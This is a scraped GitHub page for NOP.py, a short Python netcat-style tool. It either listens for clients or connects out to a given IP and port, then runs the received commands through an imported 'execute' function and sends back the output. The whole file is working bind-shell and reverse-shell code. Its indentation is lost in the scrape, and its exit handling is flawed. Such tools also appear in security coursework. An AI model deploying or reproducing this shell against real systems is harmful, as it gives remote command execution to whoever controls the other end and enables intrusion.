-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathNOP.py
More file actions
57 lines (43 loc) · 1.3 KB
/
NOP.py
File metadata and controls
57 lines (43 loc) · 1.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import socket
import threading
from get_shell import execute
class NOP:
def __init__(self, args):
self.args = args;
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
def run(self):
if self.args.listen:
self.listen()
else:
self.connect()
def listen(self):
self.socket.bind(("localhost", self.args.port))
self.socket.listen(5)
while True:
client, addr = self.socket.accept()
m_thread = threading.Thread(target=self.handle_client, args=(client,))
m_thread.start()
def handle_client(self, client):
while True:
client.sendall(b"-->")
command_buffer = client.recv(128)
if command_buffer.decode().strip() == "exit":
print("May the force be with you")
client.sendall(b'Goodbye old friend')
client.close()
response = execute(command_buffer.decode())
if response:
client.sendall(response)
command_buffer = b""
def connect(self):
self.socket.connect((self.args.ip,self.args.port))
while True:
self.socket.send(b'-->')
command = self.socket.recv(4096).decode().strip()
if command == "exit":
print("May the force be with you")
self.socket.sendall(b'Goodbye old friend')
break
response = execute(command)
self.socket.send(response)